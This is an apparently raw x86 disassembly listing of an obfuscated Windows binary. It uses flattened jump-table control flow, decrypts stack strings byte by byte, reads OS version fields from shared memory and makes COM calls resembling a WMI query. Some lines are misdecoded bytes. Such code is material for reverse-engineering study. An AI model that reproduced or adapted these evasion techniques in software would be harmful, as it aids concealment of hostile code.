movzx ecx, byte [edi + ecx]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.0042a760
add esp, 8
mov ecx, dword [esi + 0x40]
mov byte [edi + ecx], al
mov eax, dword [esi + 0x40]
inc eax
mov dword [esi + 0x40], eax
jmp 0x427c59
mov eax, ebx
mov dword [esi + 0x9c], eax
mov ebx, dword [eax]
mov eax, dword [esi + 0x260]
mov ecx, dword [esi + 0x264]
mov eax, dword [ecx + eax*4]
jmp eax
mov dword [esi + 0x38], 0
mov eax, dword [esi + 0x38]
cmp eax, 0x1f
jae 0x427ce1
mov eax, dword [esi + 0x38]
mov ecx, dword [esi + 0x38]
movzx ecx, byte [edi + ecx]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.0042a700
add esp, 8
mov ecx, dword [esi + 0x38]
mov byte [edi + ecx], al
mov eax, dword [esi + 0x38]
inc eax
mov dword [esi + 0x38], eax
jmp 0x427cae
mov eax, dword [esi + 0x2d8]
mov ecx, dword [esi + 0x2dc]
mov eax, dword [ecx + eax*4]
jmp eax
sub esp, 4
mov eax, dword [esi + 4]
mov dword [esp], eax
mov eax, dword [sym.imp.OLEAUT32.dll_VariantCopy]
call eax
sub esp, 4
mov dword [esp], ebx
mov eax, dword [sym.imp.OLEAUT32.dll_VariantClear]
call eax
mov eax, dword [esi + 0x268]
mov ecx, dword [esi + 0x26c]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esi + 0x270]
mov ecx, dword [esi + 0x274]
mov eax, dword [ecx + eax*4]
mov ebx, dword [esi + 0x50]
jmp eax
sub esp, 4
mov dword [esp], ebx
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
sub esp, 4
mov eax, dword [esi + 0xb8]
mov dword [esp], eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [esi + 0xc]
mov ebx, dword [eax]
mov eax, dword [esi + 0x130]
mov al, byte [eax]
mov byte [esi + 0x90], al
mov edx, dword [esi + 0xb4]
mov byte [edx], 0x49
mov byte [edx + 1], 7
mov byte [edx + 2], 0x79
mov byte [edx + 3], 1
mov byte [edx + 4], 0x72
mov byte [edx + 5], 3
mov byte [edx + 6], 0x70
mov byte [edx + 7], 0xd
mov byte [edx + 8], 0x63
mov byte [edx + 9], 0xf
mov byte [edx + 0xa], pe_nt_image_headers32
mov byte [edx + 0xb], 9
mov byte [edx + 0xc], 0x74
mov byte [edx + 0xd], 0xb
mov byte [edx + 0xe], 0x56
mov byte [edx + 0xf], 0x15
mov byte [edx + 0x10], 0x7f
mov byte [edx + 0x11], 0x17
mov byte [edx + 0x12], 0x61
mov byte [edx + 0x13], 0x11
mov byte [edx + 0x14], 0x7f
mov byte [edx + 0x15], 0x13
mov byte [edx + 0x16], 0x48
mov byte [edx + 0x17], 0x1d
mov byte [edx + 0x18], 0x6d
mov byte [edx + 0x19], 0x1f
mov byte [edx + 0x1a], 0x68
mov byte [edx + 0x1b], 0x19
mov byte [edx + 0x1c], 0x77
mov byte [edx + 0x1d], 0x1b
mov byte [edx + 0x1e], 0x1a
mov byte [edx + 0x1f], 0x25
mov eax, 0x20
mov byte [edx + eax], 0
add eax, 1
cmp eax, 0x24
jne 0x427def
mov dword [esi + 0x3c], 0
mov eax, dword [esi + 0x3c]
cmp eax, 0x24
jae 0x427e3b
mov eax, dword [esi + 0x3c]
mov ecx, dword [esi + 0x3c]
movzx ecx, byte [edx + ecx]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.0042a740
mov edx, dword [esi + 0xb4]
add esp, 8
mov ecx, dword [esi + 0x3c]
mov byte [edx + ecx], al
mov eax, dword [esi + 0x3c]
inc eax
mov dword [esi + 0x3c], eax
jmp 0x427e02
mov eax, dword [ebx]
mov eax, dword [eax + 0x10]
sub esp, 0x18
mov edi, dword [esi + 0xb8]
mov dword [esp + 0xc], edi
mov dword [esp + 4], edx
mov dword [esp], ebx
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 8], 0
call eax
test eax, eax
setns al
mov cx, word [edi]
sub cx, 2
sete cl
and al, cl
movzx eax, al
mov dword [esi + 0x288], eax
mov eax, dword [esi + 0x28c]
mov ecx, dword [esi + 0x288]
mov eax, dword [eax + ecx*4]
mov ebx, dword [esi + 0x50]
jmp eax
call fcn.004178d0
mov dword [ebx], 0
mov eax, dword [edi]
mov ecx, dword [eax]
mov ecx, dword [ecx + 0x10]
sub esp, 0x14
mov dword [esp + 0x10], ebx
mov edx, dword [esi + 0xc]
mov dword [esp + 0xc], edx
mov dword [esp], eax
mov dword [esp + 8], 1
mov dword [esp + 4], 0xffffffff
call ecx
test eax, eax
setns cl
sub eax, 1
setne al
mov edx, dword [ebx]
test edx, edx
setne dl
and al, dl
and al, cl
mov dword [esi + 0x338], 0
mov ecx, dword [esi + 0x33c]
mov edx, dword [esi + 0x338]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov eax, dword [esi + 0x228]
mov ecx, dword [esi + 0x22c]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.004178d0
mov dword [esi + 0x1f0], 0
mov eax, dword [esi + 0x1f4]
mov ecx, dword [esi + 0x1f0]
mov eax, dword [eax + ecx*4]
mov ebx, dword [esi + 0xc0]
jmp eax
mov ebx, dword [esi + 8]
mov eax, dword [ebx + 8]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.OLEAUT32.dll_VariantInit]
mov edi, eax
mov eax, dword [ebx + 8]
mov ecx, edi
shl ecx, 1
mov edx, eax
add edx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], edx
call fcn.00426d00
add esp, 8
mov ebx, eax
mov dword [esi + 0x108], ebx
add ebx, 1
sub esp, 4
mov dword [esp], ebx
call fcn.00408f60
add esp, 4
mov ecx, eax
mov eax, dword [esi + 0x44]
mov dword [eax], ecx
mov eax, dword [esi + 8]
mov edx, dword [eax + 8]
shl edi, 1
mov eax, edx
add eax, edi
mov dword [esi + 0xfc], eax
mov edi, ecx
add edi, ebx
mov ebx, dword [esi + 0xac]
mov eax, edi
add eax, 0xffffffff
cmp ecx, eax
jae 0x42802b
mov dword [esi + 0x48], ecx
mov dword [esi + 0x5c], edx
call fcn.004178d0
call fcn.004178d0
mov edx, dword [esi + 0x5c]
mov dword [esi + 0xec], edi
mov edi, dword [esi + 0xfc]
test edi, edi
sete al
mov ecx, edx
sub ecx, edi
mov edi, dword [esi + 0xec]
setb cl
or al, cl
mov ecx, dword [esi + 0x48]
test al, 1
jne 0x427feb
jmp 0x42802b
mov ax, word [edx]
cmp ax, 0
je 0x42802b
movzx eax, ax
add edx, 2
mov dword [esi + 0x5c], edx
mov ecx, dword [esi + 0x48]
xor ecx, 0xffffffff
add ecx, edi
sub esp, 0xc
mov edx, dword [esi + 0x48]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.0042a4c0
mov edx, dword [esi + 0x5c]
mov ecx, dword [esi + 0x48]
add esp, 0xc
add ecx, eax
jmp 0x427fa6
mov byte [ecx], 0
mov eax, dword [esi + 0xa8]
mov al, byte [eax]
mov byte [esi + 0x88], al
mov byte [ebx], 0x7d
mov byte [ebx + 1], 0x6c
mov byte [ebx + 2], 0x50
mov byte [ebx + 3], 0x6d
mov byte [ebx + 4], 0x51
mov byte [ebx + 5], 0x5a
mov byte [ebx + 6], 0x5f
mov byte [ebx + 7], 0xcd
mov dword [esi + 0x30], 0
mov eax, dword [esi + 0x30]
cmp eax, 8
jae 0x428095
mov eax, dword [esi + 0x30]
mov ecx, dword [esi + 0x30]
movzx ecx, byte [ebx + ecx]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.0042a6c0
add esp, 8
mov ecx, dword [esi + 0x30]
mov byte [ebx + ecx], al
mov eax, dword [esi + 0x30]
inc eax
mov dword [esi + 0x30], eax
jmp 0x428062
mov edi, dword [esi + 0x44]
mov eax, dword [edi]
sub esp, 8
mov dword [esp + 4], ebx
mov dword [esp], eax
call fcn.00416ca0
add esp, 8
mov dword [esi + 0x18], eax
mov ecx, dword [edi]
mov dword [esi + 0x64], ecx
mov edi, eax
sub edi, ecx
mov ebx, edi
not ebx
setb al
mov ecx, dword [esi + 0x108]
mov edx, ecx
xor edx, edi
mov edi, ecx
and edi, ebx
add edi, edi
sub edi, edx
mov ebx, edi
inc ebx
mov ecx, dword [esi + 0x18]
lea edx, [ecx + edi + 1]
sub edx, dword [esi + 0x64]
seta dl
and al, dl
test al, 1
jne 0x42816c
mov ecx, ebx
shr ecx, 2
mov eax, dword [esi + 0x18]
mov dword [esi + 0xd4], eax
mov edx, dword [esi + 0x64]
mov edi, edx
mov eax, dword [esi + 0xd4]
xchg esi, eax
rep movsd dword es:[edi], dword [esi]
xchg esi, eax
mov ecx, ebx
and ecx, 0xfffffffc
add edx, ecx
mov eax, dword [esi + 0x18]
add eax, ecx
mov dword [esi + 0x18], eax
mov ecx, ebx
shr ecx, 1
and ecx, 1
mov dword [esi + 0xd8], eax
mov edi, edx
mov eax, dword [esi + 0xd8]
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
mov ecx, ebx
and ecx, 1
and ebx, 2
mov eax, dword [esi + 0x18]
add eax, ebx
add edx, ebx
mov ebx, dword [esi + 4]
mov edi, edx
mov edx, ecx
add ecx, 0xffffffff
cmp edx, 0
je 0x428199
mov edx, eax
add edx, 1
mov al, byte [eax]
mov byte [esi + 0x13], al
mov eax, edi
mov edi, eax
add edi, 1
mov bl, byte [esi + 0x13]
mov byte [eax], bl
mov ebx, dword [esi + 4]
mov eax, edx
jmp 0x428145
mov eax, dword [esi + 0x18]
add eax, edi
mov ecx, dword [esi + 0x64]
add ecx, edi
mov edi, ecx
cmp ebx, 0
je 0x428194
add ebx, 0xffffffff
mov ecx, eax
add ecx, 0xffffffff
mov al, byte [eax]
mov edx, edi
add edx, 0xffffffff
mov byte [edi], al
mov edi, edx
mov eax, ecx
jmp 0x428178
mov ebx, dword [esi + 4]
jmp 0x42819b
jmp 0x42819b
mov dword [esi + 0x2f8], 0
mov eax, dword [esi + 0x2fc]
mov ecx, dword [esi + 0x2f8]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, 0xc74330ab
add eax, dword [eax]
add byte [eax], al
add byte [ebx - 0x74f774f9], cl
dec ecx
adc byte [ebx + 0x5c8914ec], al
and al, 0x10
mov edx, dword [esi + 0xc]
mov dword [esp + 0xc], edx
mov dword [esp], eax
mov dword [esp + 8], 1
mov dword [esp + 4], 0xffffffff
call ecx
mov eax, dword [esi + 0x188]
mov ecx, dword [esi + 0x18c]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.004178d0
mov dword [esi + 0x370], 0
mov eax, dword [esi + 0x374]
mov ecx, dword [esi + 0x370]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.004178d0
mov dword [esi + 0x280], 0
mov eax, dword [esi + 0x284]
mov ecx, dword [esi + 0x280]
mov eax, dword [eax + ecx*4]
mov ebx, dword [esi + 0x134]
jmp eax
dec esi
dec ecx
inc ecx
mov al, byte [0x32c044c5]
mov eax, dword [esi + 0x140]
mov ecx, dword [esi + 0x144]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.004178d0
push eax
mov ecx, esp
sub esp, 0x18
mov edi, esp
push eax
mov dword [esi + 0x114], esp
push eax
mov dword [esi + 0xcc], esp
sub esp, 0xc
mov dword [esi + 0xa0], esp
push eax
mov dword [esi + 0x118], esp
sub esp, 0x4c
mov dword [esi + 0xa4], esp
push eax
mov dword [esi + 0x11c], esp
push eax
mov dword [esi + 0xc8], esp
push eax
mov dword [esi + 0xc], esp
push eax
mov dword [esi + 0x124], esp
sub esp, 0x10
mov eax, esp
and eax, 0xfffffff8
mov dword [esi + 8], eax
mov esp, eax
push eax
sub esp, 0xc
mov dword [esi + 0x6c], esp
push eax
mov dword [esi + 0x120], esp
sub esp, 8
mov dword [esi + 0xac], esp
push eax
mov dword [esi + 0xa8], esp
sub esp, 0x10
mov eax, esp
and eax, 0xfffffff8
mov dword [esi + 4], eax
mov esp, eax
push eax
sub esp, 0x1c
mov dword [esi + 0xb0], esp
push eax
mov dword [esi + 0x128], esp
sub esp, 0x10
mov eax, esp
and eax, 0xfffffff8
mov dword [esi + 0xb8], eax
mov esp, eax
push eax
sub esp, 0x20
mov dword [esi + 0xb4], esp
push eax
mov dword [esi + 0x130], esp
sub esp, 0x10
mov eax, esp
and eax, 0xfffffff8
mov dword [esi + 0x50], eax
mov esp, eax
push eax
sub esp, 0x18
mov dword [esi + 0x70], esp
push eax
mov dword [esi + 0x138], esp
mov eax, dword [0x7ffe026c]
mov edx, dword [ebp + 8]
mov dword [edx], eax
mov eax, dword [0x7ffe0270]
mov dword [edx + 4], eax
mov eax, dword [0x7ffe0260]
mov dword [edx + 8], eax
mov eax, dword [0x7ffe0264]
sub eax, 2
sete byte [edx + 0xc]
mov eax, edx
add eax, 0x10
mov dword [esi + 0x44], eax
mov dword [edx + 0x10], 0
mov eax, edx
add eax, 0x14
mov dword [esi + 0x12c], eax
mov byte [edx + 0x14], 0
mov eax, edx
add eax, 0x28
mov dword [esi + 0x134], eax
mov word [edx + 0x28], 0
mov eax, edx
add eax, 0x2a
mov dword [esi + 0x13c], eax
mov byte [edx + 0x2a], 0
mov dword [ecx], 0
sub esp, 0x14
mov dword [esi + 0xd0], ecx
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], 0x43a9c0
mov dword [esp + 8], 1
mov dword [esp + 4], 0
mov dword [esp], 0x43a9d0
mov eax, dword [sym.imp.ole32.dll_CoCreateInstance]
call eax
xor ecx, ecx
test eax, eax
setns al
mov dword [esi + 0x388], 1
mov edx, dword [esi + 0x38c]
mov ebx, dword [esi + 0x388]
mov edx, dword [edx + ebx*4]
jmp edx
mov dword [esi + 0x20], 0
mov eax, dword [esi + 0x20]
cmp eax, 0x18
jae 0x428425
mov eax, dword [esi + 0x20]
mov ecx, dword [esi + 0x20]
movzx ecx, byte [edi + ecx]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.0042a610
add esp, 8
mov ecx, dword [esi + 0x20]
mov byte [edi + ecx], al
mov eax, dword [esi + 0x20]
inc eax
mov dword [esi + 0x20], eax
jmp 0x4283f2
sub esp, 4
mov dword [esp], edi
mov eax, dword [sym.imp.OLEAUT32.dll_SysReAllocString]
call eax
mov eax, dword [esi + 0x190]
mov ecx, dword [esi + 0x194]
mov eax, dword [ecx + eax*4]
jmp eax
and al, 1
movzx eax, al
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
movzx eax, al
and eax, 1
mov dword [esi + 0x248], eax
mov eax, dword [esi + 0x24c]
mov ecx, dword [esi + 0x248]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esi + 0x230]
mov ecx, dword [esi + 0x234]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esi + 0x44]
mov edi, dword [eax]
mov eax, dword [esi + 0x1b8]
mov ecx, dword [esi + 0x1bc]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.004178d0
mov dword [esi + 0x2b8], 1
mov eax, dword [esi + 0x2bc]
mov ecx, dword [esi + 0x2b8]
mov eax, dword [eax + ecx*4]
mov ebx, dword [esi + 4]
jmp eax
call fcn.004178d0
mov dword [esi + 0x310], 1
mov eax, dword [esi + 0x314]
mov ecx, dword [esi + 0x310]
mov eax, dword [eax + ecx*4]
jmp eax
mov ecx, dword [eax]
mov edx, dword [esi + 0x1d0]
mov edi, dword [esi + 0x1d4]
mov edx, dword [edi + edx*4]
jmp edx
call fcn.004178d0
sub esp, 4
mov dword [esp], ebx
mov edi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
call edi
sub esp, 4
mov eax, dword [esi + 0xbc]
mov dword [esp], eax
call edi
mov dword [esi + 0x1e8], 0
mov eax, dword [esi + 0x1ec]
mov ecx, dword [esi + 0x1e8]
mov eax, dword [eax + ecx*4]
jmp eax
and byte [ebx + edx*8 - 0x39d45260], dl
ror byte [ebx + 0x10408b03], 1
sub esp, 0x18
mov ecx, dword [esi + 4]
mov dword [esp + 0xc], ecx
mov dword [esp + 4], edi
mov dword [esp], ebx
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 8], 0
call eax
mov eax, dword [esi + 0x170]
mov ecx, dword [esi + 0x174]
mov eax, dword [ecx + eax*4]
jmp eax
sub esp, 4
mov eax, dword [esi + 8]
mov dword [esp], eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [esi + 0xc]
mov ebx, dword [eax]
mov eax, dword [esi + 0x120]
mov al, byte [eax]
mov byte [esi + 0x80], al
mov eax, dword [esi + 0x6c]
mov byte [eax], 7
mov byte [eax + 1], 0xc9
mov byte [eax + 2], 0x77
mov byte [eax + 3], 0xd7
mov byte [eax + 4], 0x64
mov byte [eax + 5], 0xd5
mov byte [eax + 6], 0x6e
mov byte [eax + 7], 0xd3
mov byte [eax + 8], 0x79
mov byte [eax + 9], 0xd1
mov byte [eax + 0xa], 0x6d
mov byte [eax + 0xb], 0xdf
mov byte [eax + 0xc], 0x6e
mov byte [eax + 0xd], 0xdd
mov byte [eax + 0xe], 0xda
mov byte [eax + 0xf], 0xdb
mov dword [esi + 0x2c], 0
mov eax, dword [esi + 0x2c]
cmp eax, 0x10
jae 0x428610
mov eax, dword [esi + 0x2c]
mov ecx, dword [esi + 0x2c]
mov edi, dword [esi + 0x6c]
movzx ecx, byte [edi + ecx]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.0042a6a0
add esp, 8
mov ecx, dword [esi + 0x2c]
mov byte [edi + ecx], al
mov eax, dword [esi + 0x2c]
inc eax
mov dword [esi + 0x2c], eax
jmp 0x4285da
mov eax, dword [ebx]
mov eax, dword [eax + 0x10]
sub esp, 0x18
mov edi, dword [esi + 8]
mov dword [esp + 0xc], edi
mov ecx, dword [esi + 0x6c]
mov dword [esp + 4], ecx
mov dword [esp], ebx
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 8], 0
call eax
test eax, eax
setns bl
mov ax, word [edi]
sub ax, 8
sete al
and bl, al
mov eax, dword [esi + 0x328]
mov ecx, dword [esi + 0x32c]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.004178d0
mov eax, dword [ebx + 0x10]
sub esp, 0x18
mov dword [esp + 0xc], edi
mov ecx, dword [esi + 0x70]
mov dword [esp + 4], ecx
mov ecx, dword [esi + 0x9c]
mov dword [esp], ecx
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 8], 0
call eax
test eax, eax
setns al
mov cx, word [edi]
sub cx, 8
sete cl
and al, cl
mov dword [esi + 0x250], 0
mov ecx, dword [esi + 0x254]
mov edx, dword [esi + 0x250]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov eax, dword [esi + 0x2f0]
mov ecx, dword [esi + 0x2f4]
mov eax, dword [ecx + eax*4]
jmp eax
movzx eax, al
and eax, 1
mov dword [esi + 0x2a8], eax
mov eax, dword [esi + 0x2ac]
mov ecx, dword [esi + 0x2a8]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.004178d0
mov eax, dword [ebx]
mov eax, dword [eax + 0x10]
sub esp, 0x18
mov ecx, dword [esi + 4]
mov dword [esp + 0xc], ecx
mov dword [esp + 4], edi
mov dword [esp], ebx
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 8], 0
call eax
mov dword [esi + 0x2c8], 1
mov edx, dword [esi + 0x2cc]
mov ecx, dword [esi + 0x2c8]
mov ecx, dword [edx + ecx*4]
jmp ecx
call fcn.004178d0
mov dword [esi + 0x2d0], 0
mov eax, dword [esi + 0x2d4]
mov ecx, dword [esi + 0x2d0]
mov eax, dword [eax + ecx*4]
mov edi, dword [esi + 0xb0]
jmp eax
mov eax, dword [esi + 0x320]
mov ecx, dword [esi + 0x324]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.004178d0
mov dword [esi + 0x318], 1
mov eax, dword [esi + 0x31c]
mov ecx, dword [esi + 0x318]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [ebx + 8]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.OLEAUT32.dll_VariantInit]
mov dword [esi + 0xe0], eax
mov edi, dword [ebx + 8]
mov ecx, eax
shl ecx, 1
mov edx, edi
add edx, ecx
sub esp, 8
mov dword [esp], edi
mov dword [esp + 4], edx
call fcn.00426d00
add esp, 8
mov edi, eax
add edi, 1
sub esp, 4
mov dword [esp], edi
call fcn.00408f60
add esp, 4
mov ecx, dword [ebx + 8]
mov ebx, dword [esi + 0xe0]
shl ebx, 1
mov edx, ecx
add edx, ebx
mov dword [esi + 0xf8], edx
mov ebx, eax
add ebx, edi
mov dword [esi + 0x110], eax
mov edi, eax
mov eax, ebx
add eax, 0xffffffff
cmp edi, eax
jae 0x42887a
mov dword [esi + 0x58], ecx
call fcn.004178d0
call fcn.004178d0
mov edx, dword [esi + 0x58]
mov dword [esi + 0xe8], edi
mov edi, dword [esi + 0xf8]
test edi, edi
sete al
mov ecx, edx
sub ecx, edi
mov edi, dword [esi + 0xe8]
setb cl
or al, cl
test al, 1
jne 0x428844
jmp 0x42887a
mov ax, word [edx]
cmp ax, 0
je 0x42887a
movzx eax, ax
add edx, 2
mov dword [esi + 0x58], edx
mov ecx, edi
xor ecx, 0xffffffff
add ecx, ebx
sub esp, 0xc
mov dword [esp], edi
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.0042a4c0
mov ecx, dword [esi + 0x58]
add esp, 0xc
add edi, eax
jmp 0x428805
mov byte [edi], 0
mov edi, dword [esi + 0x110]
mov eax, edi
add eax, 6
sub esp, 0xc
mov dword [esp + 4], eax
mov eax, dword [esi + 0x12c]
mov dword [esp], eax
mov dword [esp + 8], 2
call fcn.0042a580
add esp, 0xc
mov ecx, eax
inc ecx
mov byte [eax], 0x2e
mov eax, edi
add eax, 4
sub esp, 0xc
mov dword [esp + 4], eax
mov dword [esp], ecx
mov dword [esp + 8], 2
call fcn.0042a580
add esp, 0xc
mov ecx, eax
inc ecx
mov byte [eax], 0x2e
sub esp, 0xc
mov dword [esp + 4], edi
mov dword [esp], ecx
mov dword [esp + 8], 4
call fcn.0042a580
add esp, 0xc
mov ecx, eax
inc ecx
mov byte [eax], 0x20
mov eax, edi
add eax, 8
sub esp, 0xc
mov dword [esp + 4], eax
mov dword [esp], ecx
mov dword [esp + 8], 2
call fcn.0042a580
add esp, 0xc
mov ecx, eax
inc ecx
mov byte [eax], 0x3a
mov eax, edi
add eax, 0xa
sub esp, 0xc
mov dword [esp + 4], eax
mov dword [esp], ecx
mov dword [esp + 8], 2
call fcn.0042a580
add esp, 0xc
mov ecx, eax
inc ecx
mov byte [eax], 0x3a
mov eax, edi
add eax, 0xc
sub esp, 0xc
mov dword [esp + 4], eax
mov dword [esp], ecx
mov dword [esp + 8], 2
call fcn.0042a580
add esp, 0xc
mov byte [eax], 0
mov dword [esi + 0x2a0], 0
mov eax, dword [esi + 0x2a4]
mov ecx, dword [esi + 0x2a0]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [edi]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
sub esp, 4
mov dword [esp], eax
call ecx
mov eax, dword [esi + 0x150]
mov ecx, dword [esi + 0x154]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esi + 0x290]
mov ecx, dword [esi + 0x294]
mov eax, dword [ecx + eax*4]
mov ebx, dword [esi + 4]
jmp eax
mov eax, dword [esi + 0x180]
mov ecx, dword [esi + 0x184]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.004178d0
mov dword [esi + 0x1b0], 1
mov eax, dword [esi + 0x1b4]
mov ecx, dword [esi + 0x1b0]
mov eax, dword [eax + ecx*4]
jmp eax
mov dword [esi + 0x1c], 0
mov eax, dword [esi + 0x1c]
cmp eax, 0x18
jae 0x428a19
mov eax, dword [esi + 0x1c]
mov ecx, dword [esi + 0x1c]
movzx ecx, byte [edi + ecx]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.0042a610
add esp, 8
mov ecx, dword [esi + 0x1c]
mov byte [edi + ecx], al
mov eax, dword [esi + 0x1c]
inc eax
mov dword [esi + 0x1c], eax
jmp 0x4289e6
sub esp, 4
mov dword [esp], edi
mov eax, dword [sym.imp.OLEAUT32.dll_SysReAllocString]
call eax
mov dword [esi + 0xc4], eax
mov eax, dword [ebx]
mov dword [esi + 0x368], 0
mov ecx, dword [esi + 0x36c]
mov edx, dword [esi + 0x368]
mov ecx, dword [ecx + edx*4]
jmp ecx
sub esp, 4
mov dword [esp], ebx
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [esi + 0xc]
mov ebx, dword [eax]
mov eax, dword [esi + 0x128]
mov al, byte [eax]
mov byte [esi + 0x8c], al
mov edi, dword [esi + 0xb0]
mov byte [edi], 0xc0
mov byte [edi + 1], 0x8f
mov byte [edi + 2], 0x1f
mov byte [edi + 3], 0xb1
mov byte [edi + 4], 0xd5
mov byte [edi + 5], 0xb3
mov byte [edi + 6], 0xd1
mov byte [edi + 7], 0xb5
mov byte [edi + 8], 0xd8
mov byte [edi + 9], 0xb7
mov byte [edi + 0xa], 0xf2
mov byte [edi + 0xb], 0xb9
mov byte [edi + 0xc], 0xdb
mov byte [edi + 0xd], 0xbb
mov byte [edi + 0xe], 0x2e
mov byte [edi + 0xf], 0xbd
mov byte [edi + 0x10], 0xdb
mov byte [edi + 0x11], 0xbf
mov byte [edi + 0x12], 0xca
mov byte [edi + 0x13], 0xa1
mov byte [edi + 0x14], 0xcb
mov byte [edi + 0x15], 0xa3
mov byte [edi + 0x16], 0xcd
mov byte [edi + 0x17], 0xa5
mov byte [edi + 0x18], 0xc3
mov byte [edi + 0x19], 0xa7
mov byte [edi + 0x1a], 0xa6
mov byte [edi + 0x1b], 0xa9
mov eax, 0x1c
mov byte [edi + eax], 0
add eax, 1
cmp eax, 0x1f
jne 0x428ae2
mov eax, dword [esi + 0x2e0]
mov ecx, dword [esi + 0x2e4]
mov eax, dword [ecx + eax*4]
jmp eax
mov ecx, dword [eax]
mov ecx, dword [ecx + 0xc]
sub esp, 0x24
mov edi, dword [esi + 0xcc]
mov dword [esp + 0x20], edi
mov edx, dword [esi + 0xc4]
mov dword [esp + 4], edx
mov dword [esp], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
call ecx
not eax
shr eax, 0x1f
mov dword [esi + 0x358], eax
mov eax, dword [esi + 0x35c]
mov ecx, dword [esi + 0x358]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.004178d0
movsx ecx, word [edi + 8]
mov edx, 0x88888889
mov eax, ecx
imul edx
add edx, ecx
mov eax, edx
shr eax, 0x1f
shr edx, 5
add edx, eax
mov word [ebx], dx
mov dword [esi + 0x278], 0
mov eax, dword [esi + 0x27c]
mov ecx, dword [esi + 0x278]
mov eax, dword [eax + ecx*4]
jmp eax
sub esp, 4
mov dword [esp], edi
mov eax, dword [sym.imp.OLEAUT32.dll_VariantCopy]
call eax
mov eax, dword [esi + 0xc]
mov eax, dword [eax]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov edx, dword [esi + 0x220]
mov edi, dword [esi + 0x224]
mov edx, dword [edi + edx*4]
jmp edx
sub esp, 4
mov dword [esp], edi
call fcn.00408f70
add esp, 4
mov eax, dword [esi + 0x298]
mov ecx, dword [esi + 0x29c]
mov eax, dword [ecx + eax*4]
jmp eax
mov ecx, dword [esi + 0x1a0]
mov edx, dword [esi + 0x1a4]
mov ecx, dword [edx + ecx*4]
jmp ecx
mov eax, dword [edi + 8]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.OLEAUT32.dll_VariantInit]
mov dword [esi + 0xdc], eax
mov ebx, dword [edi + 8]
mov ecx, eax
shl ecx, 1
mov edx, ebx
add edx, ecx
sub esp, 8
mov dword [esp], ebx
mov dword [esp + 4], edx
call fcn.00426d00
add esp, 8
mov ebx, edi
mov edi, eax
add edi, 1
sub esp, 4
mov dword [esp], edi
call fcn.00408f60
add esp, 4
mov ecx, dword [ebx + 8]
mov ebx, dword [esi + 0xdc]
shl ebx, 1
mov edx, ecx
add edx, ebx
mov dword [esi + 0xf4], edx
mov ebx, eax
add ebx, edi
mov dword [esi + 0x10c], eax
mov edi, eax
mov eax, ebx
add eax, 0xffffffff
cmp edi, eax
jae 0x428cdd
mov dword [esi + 0x54], ecx
call fcn.004178d0
call fcn.004178d0
mov edx, dword [esi + 0x54]
mov dword [esi + 0xe4], edi
mov edi, dword [esi + 0xf4]
test edi, edi
sete al
mov ecx, edx
sub ecx, edi
mov edi, dword [esi + 0xe4]
setb cl
or al, cl
test al, 1
jne 0x428ca7
jmp 0x428cdd
mov ax, word [edx]
cmp ax, 0
je 0x428cdd
movzx eax, ax
add edx, 2
mov dword [esi + 0x54], edx
mov ecx, edi
xor ecx, 0xffffffff
add ecx, ebx
sub esp, 0xc
mov dword [esp], edi
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.0042a4c0
mov ecx, dword [esi + 0x54]
add esp, 0xc
add edi, eax
jmp 0x428c68
mov byte [edi], 0
mov ebx, dword [esi + 0x10c]
mov eax, ebx
add eax, 6
sub esp, 0xc
mov dword [esp + 4], eax
mov eax, dword [esi + 0x13c]
mov dword [esp], eax
mov dword [esp + 8], 2
call fcn.0042a580
